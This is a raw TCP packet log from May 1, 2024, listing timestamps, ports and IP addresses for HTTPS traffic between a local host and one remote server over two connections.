May 1, 2024 08:37:52.525471926 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.525471926 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.525479078 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.525685072 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.525706053 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.525763988 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.525763988 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.525768995 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526070118 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526082993 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526125908 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.526132107 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526148081 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.526428938 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526444912 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526510954 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.526510954 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.526515961 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526683092 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526711941 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526782036 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.526782036 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.526786089 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526827097 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526844978 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.526892900 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.526897907 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.527571917 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.527589083 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.527645111 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.527645111 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.527650118 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.527738094 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.527755022 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.527801991 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.527806044 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.527826071 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.528341055 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.528366089 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.528429031 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.528429031 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.528434038 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.528580904 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.528594971 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.528671026 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.528671026 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.528676033 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.528727055 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.528748035 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.528774977 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.528779030 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.528805017 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.529268980 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.529289961 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.529320002 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.529324055 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.529495001 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.529511929 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.529547930 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.529552937 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.529573917 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.529876947 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.529892921 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.529923916 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.529923916 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.529931068 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.530158043 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.530209064 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.530225992 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.530256033 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.530260086 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.530277014 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.530586958 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.530608892 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.530646086 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.530649900 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.530855894 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.530869961 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.530900002 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.530900002 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.530905962 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.531136990 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.531150103 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.531193018 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.531199932 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.531218052 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.531580925 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.531603098 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.531631947 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.531631947 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.531637907 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.532001019 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.532016039 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.532052994 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.532052994 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.532054901 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.532063007 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.532075882 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.532108068 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.532111883 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.532134056 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.532514095 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.532742023 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.532763004 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.532793999 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.532799006 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.532833099 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.532952070 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.532965899 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.533003092 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.533010960 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.533031940 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.533130884 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.533149004 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.533178091 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.533185959 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.533195972 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.533387899 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.533404112 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.533476114 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.533488989 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.533499956 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.533905029 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.533926010 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.533986092 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.533989906 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.534080982 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.534121990 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.534136057 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.534210920 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.534210920 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.534215927 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.534503937 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.534526110 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.534601927 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.534601927 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.534610033 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.534987926 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.535011053 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.535046101 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.535049915 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.535156012 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.535465002 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.535484076 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.535521030 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.535526991 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.535557032 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.535775900 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.535794973 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.535854101 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.535854101 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.535860062 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.535917044 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.535938025 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.535976887 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.535979986 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.536058903 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.536396980 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.536411047 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.536494017 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.536494017 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.536500931 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.536672115 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.536689997 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.536778927 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.536793947 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.536796093 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.536796093 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.536802053 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.536842108 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.536847115 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.536966085 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.536988020 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.537004948 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.537060976 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.537061930 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.537065983 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.537487030 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.537501097 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.537538052 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.537544966 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.537573099 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.537905931 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.537929058 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.537986994 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.537986994 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.537992001 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.538336992 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.538352013 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.538415909 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.538415909 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.538422108 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.538611889 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.538633108 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.538662910 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.538670063 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.538687944 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.538986921 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.539010048 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.539050102 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.539055109 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.539072037 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.539341927 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.539357901 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.539427042 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.539427042 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.539433002 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.539598942 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.539618969 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.539654970 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.539663076 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.539683104 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.540334940 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.540358067 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.540397882 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.540404081 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.540437937 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.540576935 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.540596008 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.540618896 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.540626049 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.540643930 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.540898085 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.540911913 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.540945053 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.540951014 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.540971994 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.540978909 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.540987015 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.541052103 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.541052103 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.541058064 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.541270018 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.541291952 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.541348934 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.541348934 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.541352987 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.541680098 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.541701078 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.541734934 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.541740894 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.541759968 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.542052031 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.542067051 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.542105913 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.542110920 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.542160988 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.542385101 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.542406082 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.542475939 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.542475939 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.542480946 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.542715073 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.542728901 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.542777061 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.542783022 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.542795897 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.543070078 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.543086052 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.543124914 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.543128967 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.543158054 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.543378115 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.543396950 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.543426991 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.543431044 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.543467045 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.543674946 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.543694019 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.543731928 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.543736935 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.543760061 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.543905020 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.543917894 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.544039011 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.544039011 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.544044971 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.544163942 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.544178963 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.544226885 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.544234037 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.544311047 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.544368029 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.544393063 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.544449091 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.544449091 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.544455051 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.544630051 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.544648886 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.544683933 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.544692993 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.544714928 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.545062065 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.545077085 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.545151949 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.545151949 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.545161009 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.545309067 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.545321941 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.545406103 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.545406103 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.545413971 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546030998 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546050072 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546083927 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.546092033 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546114922 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.546129942 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546143055 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546170950 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.546176910 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546195030 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.546215057 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546237946 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546292067 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.546293020 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.546302080 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546444893 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546458960 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546525955 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.546530008 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546560049 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.546858072 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546876907 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.546955109 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.546955109 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.546964884 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.547086954 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.547110081 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.547149897 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.547154903 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.547183037 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.547269106 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.547285080 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.547350883 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.547350883 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.547355890 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.547722101 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.547735929 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.547769070 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.547775030 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.547800064 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.547991991 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.548011065 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.548043966 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.548049927 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.548057079 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.548064947 CEST	443	49751	172.67.215.45	192.168.2.4
